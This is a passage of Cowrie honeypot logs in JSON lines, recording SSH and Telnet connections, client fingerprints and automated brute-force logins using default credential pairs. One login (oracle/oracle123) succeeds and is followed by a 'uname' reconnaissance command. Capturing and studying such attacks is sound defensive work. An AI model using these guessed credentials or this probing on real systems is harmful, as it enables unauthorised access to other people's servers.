","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:45.999995Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:46.734327Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:48.185671Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:48.188693Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:48.353387Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:48.358752Z","src_ip":"95.38.165.118","session":"7f4715a44aeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":36724,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e7ac666053c","protocol":"telnet","message":"New connection: 69.4.83.194:36724 (159.203.135.109:23) [session: 7e7ac666053c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:50.754559Z"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":39982,"dst_ip":"10.17.0.5","dst_port":22,"session":"5704855cb0fa","protocol":"ssh","message":"New connection: 95.38.165.118:39982 (10.17.0.5:22) [session: 5704855cb0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:50.864813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:50.914531Z","src_ip":"95.38.165.118","session":"5704855cb0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:51.327686Z","src_ip":"95.38.165.118","session":"5704855cb0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:52.742906Z","src_ip":"95.38.165.118","session":"5704855cb0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":57264,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a0bea33410e","protocol":"ssh","message":"New connection: 62.133.63.178:57264 (159.203.135.109:22) [session: 3a0bea33410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:53.508678Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:53.513762Z","src_ip":"62.133.63.178","session":"3a0bea33410e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:53.632292Z","src_ip":"62.133.63.178","session":"3a0bea33410e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"opelastra","message":"login attempt [root/opelastra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:53.988212Z","src_ip":"62.133.63.178","session":"3a0bea33410e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:54.328956Z","src_ip":"95.38.165.118","session":"5704855cb0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:55.109656Z","src_ip":"62.133.63.178","session":"3a0bea33410e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.3022825717926,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:55.473808Z","src_ip":"178.128.93.180","session":"5a8472cc2c8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43554,"dst_ip":"10.17.0.5","dst_port":22,"session":"39ca9cc8911d","protocol":"ssh","message":"New connection: 95.38.165.118:43554 (10.17.0.5:22) [session: 39ca9cc8911d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:57.185843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:57.195890Z","src_ip":"95.38.165.118","session":"39ca9cc8911d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:57.353092Z","src_ip":"95.38.165.118","session":"39ca9cc8911d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:16:58.007159Z","src_ip":"95.38.165.118","session":"39ca9cc8911d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:01.218024Z","src_ip":"95.38.165.118","session":"39ca9cc8911d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":43568,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1acd4b66ab2","protocol":"ssh","message":"New connection: 95.38.165.118:43568 (10.17.0.5:22) [session: d1acd4b66ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:01.329910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:01.336489Z","src_ip":"95.38.165.118","session":"d1acd4b66ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:01.503819Z","src_ip":"95.38.165.118","session":"d1acd4b66ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:02.535591Z","src_ip":"95.38.165.118","session":"d1acd4b66ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.22.57.101","src_port":58514,"dst_ip":"159.203.135.109","dst_port":23,"session":"620616b0c148","protocol":"telnet","message":"New connection: 165.22.57.101:58514 (159.203.135.109:23) [session: 620616b0c148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:04.756913Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:04.994101Z","src_ip":"95.38.165.118","session":"d1acd4b66ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41558,"dst_ip":"10.17.0.5","dst_port":22,"session":"868c00d4fc98","protocol":"ssh","message":"New connection: 95.38.165.118:41558 (10.17.0.5:22) [session: 868c00d4fc98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:06.842790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:07.036635Z","src_ip":"95.38.165.118","session":"868c00d4fc98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:07.040500Z","src_ip":"95.38.165.118","session":"868c00d4fc98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:07.858439Z","src_ip":"95.38.165.118","session":"868c00d4fc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:09.032503Z","src_ip":"95.38.165.118","session":"868c00d4fc98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.070027351379395,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:11.087031Z","src_ip":"69.4.83.194","session":"d1537a6fb699","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":41564,"dst_ip":"10.17.0.5","dst_port":22,"session":"344da6d078d6","protocol":"ssh","message":"New connection: 95.38.165.118:41564 (10.17.0.5:22) [session: 344da6d078d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:12.127776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:12.136211Z","src_ip":"95.38.165.118","session":"344da6d078d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:12.306778Z","src_ip":"95.38.165.118","session":"344da6d078d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"A123456a","message":"login attempt [root/A123456a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:13.041583Z","src_ip":"95.38.165.118","session":"344da6d078d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.14540672302246,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:13.384596Z","src_ip":"178.128.93.180","session":"dd6d1c4beb96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:14.429729Z","src_ip":"95.38.165.118","session":"344da6d078d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58250,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec0912e6ea4","protocol":"ssh","message":"New connection: 95.38.165.118:58250 (10.17.0.5:22) [session: 9ec0912e6ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:17.088664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:17.106408Z","src_ip":"95.38.165.118","session":"9ec0912e6ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:17.268080Z","src_ip":"95.38.165.118","session":"9ec0912e6ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:19.552355Z","src_ip":"95.38.165.118","session":"9ec0912e6ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:21.553741Z","src_ip":"95.38.165.118","session":"9ec0912e6ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":58262,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec6e1e630254","protocol":"ssh","message":"New connection: 95.38.165.118:58262 (10.17.0.5:22) [session: ec6e1e630254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:22.446753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T01:17:22.468262Z","src_ip":"95.38.165.118","session":"ec6e1e630254","protocol":"ssh"}
